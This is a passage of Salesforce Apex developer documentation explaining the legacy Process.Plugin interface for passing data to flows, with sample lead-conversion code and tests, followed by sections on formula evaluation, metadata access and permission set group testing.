[Apex Reference Guide: DynamicPicklist Class](#)

Passing Data to a Flow Using the `Process.Plugin` Interface

`Process.Plugin` is a built-in interface that lets you process data within your org and pass it to a specified flow. The interface exposes Apex as a service, which accepts input values and returns output back to the flow.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support `Blob`, `Collection`, and `sObject`, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

When you define an Apex class that implements the `Process.Plugin` interface in your org, it's available in Flow Builder as a legacy Apex action.

`Process.Plugin` has these top-level classes.

- `Process.PluginRequest` passes input parameters from the class that implements the interface to the flow.
- `Process.PluginResult` returns output parameters from the class that implements the interface to the flow.
- `Process.PluginDescribeResult` passes input parameters from a flow to the class that implements the interface. This class determines the input parameters and output parameters needed by the `Process.PluginResult` plug-in.

When you write Apex unit tests, instantiate a class and pass it into the interface `invoke` method. To pass in the parameters that the system needs, create a map and use it in the constructor. For more information, see [Using the `Process.PluginRequest` Class](#) on page 491.

[Implementing the `Process.Plugin` Interface](#)

`Process.Plugin` is a built-in interface that allows you to pass data between your organization and a specified flow.

[Using the `Process.PluginRequest` Class](#)

The `Process.PluginRequest` class passes input parameters from the class that implements the interface to the flow.

[Using the `Process.PluginResult` Class](#)

The `Process.PluginResult` class returns output parameters from the class that implements the interface to the flow.

[Using the `Process.PluginDescribeResult` Class](#)

Use the `Process.Plugin` interface `describe` method to dynamically provide both input and output parameters for the flow. This method returns the `Process.PluginDescribeResult` class.

[Process.Plugin Data Type Conversions](#)

Understand how data types are converted between Apex and the values returned to the `Process.Plugin`. For example, text data in a flow converts to string data in Apex.

[Sample `Process.Plugin` Implementation for Lead Conversion](#)

In this example, an Apex class implements the `Process.Plugin` interface and converts a lead into an account, contact, and optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via a legacy Apex action.

Implementing the `Process.Plugin` Interface

`Process.Plugin` is a built-in interface that allows you to pass data between your organization and a specified flow.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, and sObject, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

The class that implements the `Process.Plugin` interface must call these methods.

Name	Arguments	Return Type	Description
<code>describe</code>		Process.PluginDescribeResult	Returns a <code>Process.PluginDescribeResult</code> object that describes this method call.
<code>invoke</code>	Process.PluginRequest	Process.PluginResult	Primary method that the system invokes when the class that implements the interface is instantiated.

Example Implementation

```

global class flowChat implements Process.Plugin {

    // The main method to be implemented. The Flow calls this at runtime.
    global Process.PluginResult invoke(Process.PluginRequest request) {
        // Get the subject of the Chatter post from the flow
        String subject = (String) request.inputParameters.get('subject');

        // Use the Chatter APIs to post it to the current user's feed
        FeedItem fItem = new FeedItem();
        fItem.ParentId = UserInfo.getUserId();
        fItem.Body = 'Flow Update: ' + subject;
        insert fItem;

        // return to Flow
        Map<String, Object> result = new Map<String, Object>();
        return new Process.PluginResult(result);
    }

    // Returns the describe information for the interface
    global Process.PluginDescribeResult describe() {
        Process.PluginDescribeResult result = new Process.PluginDescribeResult();
        result.Name = 'flowchatplugin';
        result.Tag = 'chat';
        result.inputParameters = new
            List<Process.PluginDescribeResult.InputParameter>{
                new Process.PluginDescribeResult.InputParameter('subject',
                    Process.PluginDescribeResult.ParameterType.STRING, true)
            };
        result.outputParameters = new
            List<Process.PluginDescribeResult.OutputParameter>{ };
        return result;
    }
}

```

Test Class

The following is a test class for the preceding class.

```

@isTest
private class flowChatTest {

    static testmethod void flowChatTests() {

        flowChat plugin = new flowChat();
        Map<String, Object> inputParams = new Map<String, Object>();

        string feedSubject = 'Flow is alive';
        InputParams.put('subject', feedSubject);

        Process.PluginRequest request = new Process.PluginRequest(inputParams);
    }
}

```

```

        plugin.invoke(request);
    }
}

```

Using the `Process.PluginRequest` Class

The `Process.PluginRequest` class passes input parameters from the class that implements the interface to the flow.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support `Blob`, `Collection`, and `sObject`, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

This class has no methods.

Constructor signature:

```
Process.PluginRequest (Map<String,Object>)
```

Here's an example of instantiating the `Process.PluginRequest` class with one input parameter.

```

Map<String,Object> inputParams = new Map<String,Object>();
String feedSubject = 'Flow is alive';
inputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);

```

Code Example

In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.

```

global Process.PluginResult invoke(Process.PluginRequest request) {
    // Get the subject of the Chatter post from the flow
    String subject = (String) request.inputParameters.get('subject');

    // Use the Chatter APIs to post it to the current user's feed
    FeedPost fpost = new FeedPost();
    fpost.ParentId = UserInfo.getUserId();
    fpost.Body = 'Flow Update: ' + subject;
    insert fpost;

    // return to Flow
    Map<String,Object> result = new Map<String,Object>();
    return new Process.PluginResult(result);
}

```

```
// describes the interface
global Process.PluginDescribeResult describe() {
    Process.PluginDescribeResult result = new Process.PluginDescribeResult();
    result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
        new Process.PluginDescribeResult.InputParameter('subject',
            Process.PluginDescribeResult.ParameterType.STRING, true)
    };
    result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
    return result;
}
}
```

Using the `Process.PluginResult` Class

The `Process.PluginResult` class returns output parameters from the class that implements the interface to the flow.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, and sObject, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

You can instantiate the `Process.PluginResult` class using one of the following formats:

- `Process.PluginResult (Map<String, Object>)`
- `Process.PluginResult (String, Object)`

Use the map when you have more than one result or when you don't know how many results are returned.

The following is an example of instantiating a `Process.PluginResult` class.

```
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String, Object> result = new Map<String, Object>();
result.put('url', url);
result.put('status', status);
new Process.PluginResult(result);
```

Using the `Process.PluginDescribeResult` Class

Use the `Process.Plugin` interface `describe` method to dynamically provide both input and output parameters for the flow. This method returns the `Process.PluginDescribeResult` class.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, and sObject, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.

- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

The `Process.PluginDescribeResult` class doesn't support the following functions.

- Queries
- Data modification
- Email
- Apex nested callouts

`Process.PluginDescribeResult` Class and Subclass Properties

Here's the constructor for the `Process.PluginDescribeResult` class.

```
Process.PluginDescribeResult classname = new Process.PluginDescribeResult();
```

- [PluginDescribeResult Class Properties](#)
- [PluginDescribeResult.InputParameter Class Properties](#)
- [PluginDescribeResult.OutputParameter Class Properties](#)

Here's the constructor for the `Process.PluginDescribeResult.InputParameter` class.

```
Process.PluginDescribeResult.InputParameter ip = new
    Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
        Process.PluginDescribeResult.ParameterType.Enum, Boolean_required);
```

Here's the constructor for the `Process.PluginDescribeResult.OutputParameter` class.

```
Process.PluginDescribeResult.OutputParameter op = new
    new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
        Process.PluginDescribeResult.ParameterType.Enum);
```

To use the `Process.PluginDescribeResult` class, create instances of these subclasses.

- `Process.PluginDescribeResult.InputParameter`
- `Process.PluginDescribeResult.OutputParameter`

`Process.PluginDescribeResult.InputParameter` is a list of input parameters and has the following format.

```
Process.PluginDescribeResult.inputParameters =
    new List<Process.PluginDescribeResult.InputParameter>{
        new Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
            Process.PluginDescribeResult.ParameterType.Enum, Boolean_required)
```

For example:

```
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
```

```
result.setTag ('userinfo');
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
    new Process.PluginDescribeResult.InputParameter('FullName',
        Process.PluginDescribeResult.ParameterType.STRING, true),
    new Process.PluginDescribeResult.InputParameter('DOB',
        Process.PluginDescribeResult.ParameterType.DATE, true),
};
```

`Process.PluginDescribeResult.OutputParameter` is a list of output parameters and has the following format.

```
Process.PluginDescribeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
    new Process.PluginDescribeResult.OutputParameter(Name, Optional description string,
        Process.PluginDescribeResult.ParameterType.Enum)
```

For example:

```
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.setDescription('this plugin gets the name of a user');
result.setTag ('userinfo');
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
    new Process.PluginDescribeResult.OutputParameter('URL',
        Process.PluginDescribeResult.ParameterType.STRING),
```

Both classes take the `Process.PluginDescribeResult.ParameterType` Enum. Valid values are:

- BOOLEAN
- DATE
- DATETIME
- DECIMAL
- DOUBLE
- FLOAT
- ID
- INTEGER
- LONG
- STRING
- TIME

For example:

```
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{

    new Process.PluginDescribeResult.OutputParameter('URL',
        Process.PluginDescribeResult.ParameterType.STRING, true),
    new Process.PluginDescribeResult.OutputParameter('STATUS',
        Process.PluginDescribeResult.ParameterType.STRING),
};
```

Process.Plugin Data Type Conversions

Understand how data types are converted between Apex and the values returned to the `Process.Plugin`. For example, text data in a flow converts to string data in Apex.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, and sObject, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

Flow Data Type	Data Type
Number	Decimal
Date	Datetime/Date
DateTime	Datetime/Date
Boolean	Boolean and numeric with 1 or 0 values only
Text	String

Sample Process.Plugin Implementation for Lead Conversion

In this example, an Apex class implements the `Process.Plugin` interface and converts a lead into an account, contact, and optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via a legacy Apex action.



Tip: We recommend using the `@InvocableMethod` annotation instead of the `Process.Plugin` interface.

- The interface doesn't support Blob, Collection, and sObject, data types, and it doesn't support bulk operations. After you implement the interface on a class, the class can be referenced only from flows.
- The annotation supports all data types and bulk operations. After you implement the annotation on a class, the class can be referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
- Legacy Apex actions aren't supported in auto-layout in Flow Builder. Legacy Apex actions are only available to be added in free-form in Flow Builder. Existing actions can be edited in both auto-layout and free-form mode.
- You can customize how invocable actions created with `@InvocableMethod` appear in Flow Builder by using the `InvocableActionExtension` metadata file. Control parameter order, add picklists, create custom headers, and build partial custom property editors.

```
// Converts a lead as an action in a flow.
global class VWFConvertLead implements Process.Plugin {
    // This method runs when called by a flow's legacy Apex action.
    global Process.PluginResult invoke(
        Process.PluginRequest request) {
```

```

// Set up variables to store input parameters from
// the flow.
String leadID = (String) request.inputParameters.get(
    'LeadID');
String contactID = (String)
    request.inputParameters.get('ContactID');
String accountID = (String)
    request.inputParameters.get('AccountID');
String convertedStatus = (String)
    request.inputParameters.get('ConvertedStatus');
Boolean overWriteLeadSource = (Boolean)
    request.inputParameters.get('OverwriteLeadSource');
Boolean createOpportunity = (Boolean)
    request.inputParameters.get('CreateOpportunity');
String opportunityName = (String)
    request.inputParameters.get('ContactID');
Boolean sendEmailToOwner = (Boolean)
    request.inputParameters.get('SendEmailToOwner');

// Set the default handling for booleans.
if (overWriteLeadSource == null)
    overWriteLeadSource = false;
if (createOpportunity == null)
    createOpportunity = true;
if (sendEmailToOwner == null)
    sendEmailToOwner = false;

// Convert the lead by passing it to a helper method.
Map<String, Object> result = new Map<String, Object>();
result = convertLead(leadID, contactID, accountID,
    convertedStatus, overWriteLeadSource,
    createOpportunity, opportunityName,
    sendEmailToOwner);

    return new Process.PluginResult(result);
}

// This method describes the plug-in and its inputs from
// and outputs to the flow.
// Implementing this method makes the class available
// in Flow Builder as a legacy Apex action.
global Process.PluginDescribeResult describe() {
    // Set up plugin metadata
    Process.PluginDescribeResult result = new
        Process.PluginDescribeResult();
    result.description =
        'The LeadConvert Flow Plug-in converts a lead into ' +
        'an account, a contact, and ' +
        '(optionally)an opportunity.';
    result.tag = 'Lead Management';

    // Create a list that stores both mandatory and optional
    // input parameters from the flow.

```

```

// NOTE: Only primitive types (STRING, NUMBER, etc.) are
// supported. Collections aren't supported.
result.inputParameters = new
    List<Process.PluginDescribeResult.InputParameter>{
    // Lead ID (mandatory)
    new Process.PluginDescribeResult.InputParameter(
        'LeadID',
        Process.PluginDescribeResult.ParameterType.STRING,
        true),
    // Account ID (optional)
    new Process.PluginDescribeResult.InputParameter(
        'AccountID',
        Process.PluginDescribeResult.ParameterType.STRING,
        false),
    // Contact ID (optional)
    new Process.PluginDescribeResult.InputParameter(
        'ContactID',
        Process.PluginDescribeResult.ParameterType.STRING,
        false),
    // Status to use once converted
    new Process.PluginDescribeResult.InputParameter(
        'ConvertedStatus',
        Process.PluginDescribeResult.ParameterType.STRING,
        true),
    new Process.PluginDescribeResult.InputParameter(
        'OpportunityName',
        Process.PluginDescribeResult.ParameterType.STRING,
        false),
    new Process.PluginDescribeResult.InputParameter(
        'OverwriteLeadSource',
        Process.PluginDescribeResult.ParameterType.BOOLEAN,
        false),
    new Process.PluginDescribeResult.InputParameter(
        'CreateOpportunity',
        Process.PluginDescribeResult.ParameterType.BOOLEAN,
        false),
    new Process.PluginDescribeResult.InputParameter(
        'SendEmailToOwner',
        Process.PluginDescribeResult.ParameterType.BOOLEAN,
        false)
};

// Create a list that stores output parameters sent
// to the flow.
result.outputParameters = new List<
    Process.PluginDescribeResult.OutputParameter>{
    // Account ID of the converted lead
    new Process.PluginDescribeResult.OutputParameter(
        'AccountID',
        Process.PluginDescribeResult.ParameterType.STRING),
    // Contact ID of the converted lead
    new Process.PluginDescribeResult.OutputParameter(
        'ContactID',
        Process.PluginDescribeResult.ParameterType.STRING),

```

```

        // Opportunity ID of the converted lead
        new Process.PluginDescribeResult.OutputParameter(
            'OpportunityID',
            Process.PluginDescribeResult.ParameterType.STRING)
    };

    return result;
}

/**
 * Implementation of the LeadConvert plug-in.
 * Converts a given lead with several options:
 * leadID - ID of the lead to convert
 * contactID -
 * accountID - ID of the Account to attach the converted
 * Lead/Contact/Opportunity to.
 * convertedStatus -
 * overWriteLeadSource -
 * createOpportunity - true if you want to create a new
 * Opportunity upon conversion
 * opportunityName - Name of the new Opportunity.
 * sendEmailtoOwner - true if you are changing owners upon
 * conversion and want to notify the new Opportunity owner.
 *
 * returns: a Map with the following output:
 * AccountID - ID of the Account created or attached
 * to upon conversion.
 * ContactID - ID of the Contact created or attached
 * to upon conversion.
 * OpportunityID - ID of the Opportunity created
 * upon conversion.
 */
public Map<String,String> convertLead (
    String leadID,
    String contactID,
    String accountID,
    String convertedStatus,
    Boolean overWriteLeadSource,
    Boolean createOpportunity,
    String opportunityName,
    Boolean sendEmailToOwner
) {
    Map<String,String> result = new Map<String,String>();

    if (leadId == null) throw new ConvertLeadPluginException(
        'Lead Id cannot be null');

    // check for multiple leads with the same ID
    Lead[] leads = [Select Id, FirstName, LastName, Company
        From Lead where Id = :leadID];
    if (leads.size() > 0) {
        Lead l = leads[0];
        // CheckAccount = true, checkContact = false
        if (accountID == null && l.Company != null) {

```

```

        Account[] accounts = [Select Id, Name FROM Account
                               where Name = :l.Company LIMIT 1];
        if (accounts.size() > 0) {
            accountId = accounts[0].id;
        }
    }

    // Perform the lead conversion.
    Database.LeadConvert lc = new Database.LeadConvert();
    lc.setLeadId(leadId);
    lc.setOverwriteLeadSource(overwriteLeadSource);
    lc.setDoNotCreateOpportunity(!createOpportunity);
    lc.setConvertedStatus(convertedStatus);
    if (sendEmailToOwner != null) lc.setSendNotificationEmail(
        sendEmailToOwner);
    if (accountId != null && accountId.length() > 0)
        lc.setAccountId(accountId);
    if (contactId != null && contactId.length() > 0)
        lc.setContactId(contactId);
    if (createOpportunity) {
        lc.setOpportunityName(opportunityName);
    }

    Database.LeadConvertResult lcr = Database.convertLead(
        lc, true);
    if (lcr.isSuccess()) {
        result.put('AccountID', lcr.getAccountId());
        result.put('ContactID', lcr.getContactId());
        if (createOpportunity) {
            result.put('OpportunityID',
                lcr.getOpportunityId());
        }
    } else {
        String error = lcr.getErrors()[0].getMessage();
        throw new ConvertLeadPluginException(error);
    }
} else {
    throw new ConvertLeadPluginException(
        'No leads found with Id : ' + leadId + '');
}
return result;
}

// Utility exception class
class ConvertLeadPluginException extends Exception {}
}

// Test class for the lead convert Apex plug-in.
@isTest
private class VWFConvertLeadTest {
    static testMethod void basicTest() {
        // Create test lead
        Lead testLead = new Lead(
            Company='Test Lead', FirstName='John', LastName='Doe');
    }
}

```

```

    insert testLead;

    LeadStatus convertStatus =
        [Select Id, MasterLabel from LeadStatus
         where IsConverted=true limit 1];

    // Create test conversion
    VWFConvertLead aLeadPlugin = new VWFConvertLead();
    Map<String, Object> inputParams = new Map<String, Object>();
    Map<String, Object> outputParams = new Map<String, Object>();

    inputParams.put('LeadID', testLead.ID);
    inputParams.put('ConvertedStatus',
        convertStatus.MasterLabel);

    Process.PluginRequest request = new
        Process.PluginRequest(inputParams);
    Process.PluginResult result;
    result = aLeadPlugin.invoke(request);

    Lead aLead = [select name, id, isConverted
                  from Lead where id = :testLead.ID];
    System.Assert(aLead.isConverted);
}

/*
 * This tests lead conversion with
 * the Account ID specified.
 */
static testMethod void basicTestwithAccount() {

    // Create test lead
    Lead testLead = new Lead(
        Company='Test Lead', FirstName='John', LastName='Doe');
    insert testLead;

    Account testAccount = new Account(name='Test Account');
    insert testAccount;

    // System.debug('ACCOUNT BEFORE' + testAccount.ID);

    LeadStatus convertStatus = [Select Id, MasterLabel
                                from LeadStatus where IsConverted=true limit 1];

    // Create test conversion
    VWFConvertLead aLeadPlugin = new VWFConvertLead();
    Map<String, Object> inputParams = new Map<String, Object>();
    Map<String, Object> outputParams = new Map<String, Object>();

    inputParams.put('LeadID', testLead.ID);
    inputParams.put('AccountID', testAccount.ID);
    inputParams.put('ConvertedStatus',
        convertStatus.MasterLabel);

```



```

    Process.PluginRequest request = new
        Process.PluginRequest(inputParams);
    Process.PluginResult result;
    result = aLeadPlugin.invoke(request);

    Lead aLead =
        [select name, id, isConverted, convertedAccountID
        from Lead where id = :testLead.ID];
    System.Assert(aLead.isConverted);
    //System.debug('ACCOUNT AFTER' + aLead.convertedAccountID);
    System.AssertEquals(testAccount.ID, aLead.convertedAccountID);
}

/*
 * This tests lead conversion with the Account ID specified.
 */
static testMethod void basicTestwithAccounts() {

    // Create test lead
    Lead testLead = new Lead(
        Company='Test Lead',FirstName='John',LastName='Doe');
    insert testLead;

    Account testAccount1 = new Account(name='Test Lead');
    insert testAccount1;
    Account testAccount2 = new Account(name='Test Lead');
    insert testAccount2;

    // System.debug('ACCOUNT BEFORE' + testAccount.ID);

    LeadStatus convertStatus = [Select Id, MasterLabel
        from LeadStatus where IsConverted=true limit 1];

    // Create test conversion
    VWFConvertLead aLeadPlugin = new VWFConvertLead();
    Map<String,Object> inputParams = new Map<String,Object>();
    Map<String,Object> outputParams = new Map<String,Object>();

    inputParams.put('LeadID',testLead.ID);
    inputParams.put('ConvertedStatus',
        convertStatus.MasterLabel);

    Process.PluginRequest request = new
        Process.PluginRequest(inputParams);
    Process.PluginResult result;
    result = aLeadPlugin.invoke(request);

    Lead aLead =
        [select name, id, isConverted, convertedAccountID
        from Lead where id = :testLead.ID];
    System.Assert(aLead.isConverted);
}

```

```

/*
 * -ve Test
 */
static testMethod void errorTest() {

    // Create test lead
    // Lead testLead = new Lead(Company='Test Lead',
    //   FirstName='John', LastName='Doe');
    LeadStatus convertStatus = [Select Id, MasterLabel
        from LeadStatus where IsConverted=true limit 1];

    // Create test conversion
    VWFConvertLead aLeadPlugin = new VWFConvertLead();
    Map<String, Object> inputParams = new Map<String, Object>();
    Map<String, Object> outputParams = new Map<String, Object>();
    inputParams.put('LeadID', '00Q7XXXXxxxxxxx');
    inputParams.put('ConvertedStatus', convertStatus.MasterLabel);

    Process.PluginRequest request = new
        Process.PluginRequest(inputParams);
    Process.PluginResult result;
    try {
        result = aLeadPlugin.invoke(request);
    }
    catch (Exception e) {
        System.debug('EXCEPTION' + e);
        System.AssertEquals(1,1);
    }
}

/*
 * This tests the describe() method
 */
static testMethod void describeTest() {

    VWFConvertLead aLeadPlugin =
        new VWFConvertLead();
    Process.PluginDescribeResult result =
        aLeadPlugin.describe();

    System.AssertEquals(
        result.inputParameters.size(), 8);
    System.AssertEquals(
        result.OutputParameters.size(), 3);

}
}

```

Formula Evaluation in Apex

Formula evaluation in Apex helps avoid unnecessary DML statements to recalculate formula field values and evaluate dynamic formula expressions. Dynamic formulas in Apex support SObjects and Apex objects as context objects. The context type that corresponds to the Apex class used in the `FormulaBuilder.withType()` method must be a global, user-defined Apex class. Any fields, properties, or methods that the formula references must also be global.



Note: If formula fields on the input SObjects require a round-trip request to the database, use the `Formula.recalculateFormulas()` method.

Formulas in Apex support these features.

- Reference Apex types in formula fields. The values contained in individual components of such Apex types are accessed and evaluated by the formula. [Address](#), [Location](#), [URL](#), and [UUID](#) System types are supported.
- Reference standard lookups and custom lookups in formula fields.
- Access polymorphic relationship fields.
- Access the return value from the `toString()` method in formula fields.

Formula evaluation in Apex is bound by the [formula field character limit](#), but not the compile size limit. A formula can contain up to 3,900 characters including spaces, return characters, and comments.

Formula functions that are available to use in Apex are ones that can be used in validation rules. For details, see [Formula Operators and Functions by Context](#).

SEE ALSO:

[Apex Reference Guide: FormulaEval Namespace](#)

Metadata

Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings that admins control, or configuration information applied by installed apps and packages.

Use the classes in the `Metadata` namespace to access metadata from within Apex code for tasks that include:

- Customizing app installs or upgrades—During or after an install (or upgrade), your app can create or update metadata to let users configure your app.
- Customizing apps after installation—After your app is installed, you can use metadata in Apex to let admins configure your app using the UI that your app provides rather than having admins manually use the standard Salesforce setup UI.
- Securely accessing protected metadata—Update metadata that your app uses internally without exposing these types and components to your users.
- Creating custom configuration tools—Use metadata in Apex to provide custom tools for admins to customize apps and packages.

Metadata access in Apex is available for Apex classes using API version 40.0 and later.

For more information on metadata types and components, see the [Metadata API Developer Guide](#) and [Custom Metadata Types](#).

[Retrieving and Deploying Metadata](#)

Retrieve and deploy metadata by using the `Metadata.Operations` class.

[Supported Metadata Types](#)

Apex supports a subset of metadata types and components.

[Security Considerations](#)

Be aware of security considerations when using Apex to access metadata.

Testing Metadata Deployments

Apex code that accesses metadata must be properly tested.

SEE ALSO:

[Apex Reference Guide: Metadata Namespace](#)

Retrieving and Deploying Metadata

Retrieve and deploy metadata by using the `MetadataOperations` class.

Use the `MetadataOperations.retrieve()` method to synchronously retrieve metadata from the current org. Provide a list of metadata component names that you want to retrieve. Salesforce returns a list of matching component data, represented by component classes that derive from `Metadata.Metadata`.

Use the `MetadataOperations.enqueueDeployment()` method to asynchronously deploy metadata to the current org. Deployment is queued for asynchronous processing. When deploying metadata, you can create and update components but not delete them. There are limitations on which components that apps and packages can deploy and which types of apps and packages can deploy to which types of orgs. There are also service protection limitations on how many deployments that you can enqueue at one time from Apex. For more information, see [Security Considerations](#).

Use the full name of the metadata component when retrieving and deploying metadata. The full name can include the namespace, metadata type, and component name. If you're updating components in a namespace, you must qualify the namespace for the component in the full name. For example, the full name for a custom metadata `MDType1__mdt` component named `Component1` that is contained in the `myPackage` namespace is `myPackage__MDType1__mdt.myPackage__Component1`. For more information on the metadata component full name syntax, see [Metadata base type](#) in the *Metadata API Developer Guide*.

You can retrieve and deploy metadata in post install scripts. In uninstall scripts, you can only retrieve, not deploy, metadata from Apex code.

See [MetadataOperations](#) for code examples for retrieving and deploying metadata.

Supported Metadata Types

Apex supports a subset of metadata types and components.

Metadata access in Apex is limited to types and components that support the use cases described in [Metadata](#). Apps and packages can use the metadata feature in Apex to retrieve and deploy the following metadata types and components:

- Records of custom metadata types
- Layouts

Security Considerations

Be aware of security considerations when using Apex to access metadata.

Generally, Apex classes installed in the subscriber org can access any public, supported metadata type or component in the subscriber org. Protected metadata, such as a custom metadata type that's been marked protected, can only be accessed by Apex classes in the same namespace as the protected metadata.

Additionally, for managed packages, if the managed package isn't approved by Salesforce via security review, Apex classes in the package can't access public or protected metadata unless the **Deploy Metadata from Non-Certified Package Versions via Apex** org preference is enabled. This preference, located under **Setup > Apex Settings**, must be enabled if admins or developers are installing managed packages that haven't passed security review for app testing or pilot purposes.

For deployments, because `Metadata.Operations.enqueueDeployment()` uses asynchronous Apex, queued deployment jobs and deployment callbacks are counted as asynchronous jobs in the current org. Queued deployment jobs and callbacks are subject to governor limits. See [Lightning Platform Apex Limits](#). To preserve service function, we limit the number of Metadata API deployments originating from Apex that can be enqueued at a time. See [Limit on Enqueued Deployments from Apex](#).

Apps that access metadata via Apex must notify users that the app can retrieve or deploy metadata in the subscriber org. For installs that access metadata, notify users in the description of your package. You can write your own notice, or use this sample:

This package can access and change metadata outside its namespace in the Salesforce org where it's installed.

Salesforce verifies the notice during the security review. For more information, see the [ISVforce Guide](#).

Testing Metadata Deployments

Apex code that accesses metadata must be properly tested.

To provide Apex test coverage for metadata deployments, write tests that verify both the set up of the deployment request and handling of the deployment results.

Tests for deployment request code verify the metadata components and component values that get created and assert that the `DeployContainer` contains exactly what needs to be deployed.

Tests for deployment result code verify that your `DeployCallback` handles expected and unexpected results. Your `DeployCallback` is normally called by Salesforce as part of the asynchronous deployment process. Therefore, to test your callback outside of the deployment process, create tests that use your callback class directly. You also must create test `DeployResults` and `DeployCallbackContext` instances to test your `DeployCallback.handleResults()` method.

When creating a test instance of `DeployCallbackContext`, subclass `DeployCallbackContext` and provide your own implementation of `getCallbackJobId()`.

```
// DeployCallbackContext subclass for testing that returns myJobId
public class TestingDeployCallbackContext extends Metadata.DeployCallbackContext {
    private Id myJobId = '000000000000000000'; // replace value with a job ID that you can
use for testing
    public override Id getCallbackJobId() {
        return myJobId;
    }
}
```

Permission Set Groups

To provide Apex test coverage for permission set groups, write tests using the `calculatePermissionSetGroup()` method in the `System.Test` class.

The `calculatePermissionSetGroup()` method forces an immediate calculation of aggregate permissions for a specified permission set group. As the forced calculation counts against Apex CPU limits, and can require complex data setup, it's a best practice to minimize the number of times you perform this operation. Recalculating complex permission set groups with a large number of included permission sets or overall enabled permissions can cause Apex test failures because Apex CPU limits are exceeded. Apex CPU limits can also be exceeded if the included permission sets in the permission set group aren't licensed and the permission set group is assigned to many users.

Set this test to run once in a Test setup method, then reuse the data in subsequent tests.

```
@isTest public class PSGTest {
    @isTest static void testPSG() {
```

```
// get the PSG by name (may have been modified in deployment)
PermissionSetGroup psg = [select Id, Status from PermissionSetGroup where
DeveloperName='MyPSG'];

// force calculation of the PSG if it is not already Updated
if (psg.Status != 'Updated') {
    Test.calculatePermissionSetGroup(psg.Id);
}

// assign PSG to current user (this fails if PSG is Outdated)
insert new PermissionSetAssignment(PermissionSetGroupId = psg.Id, AssigneeId =
UserInfo.getUserId());

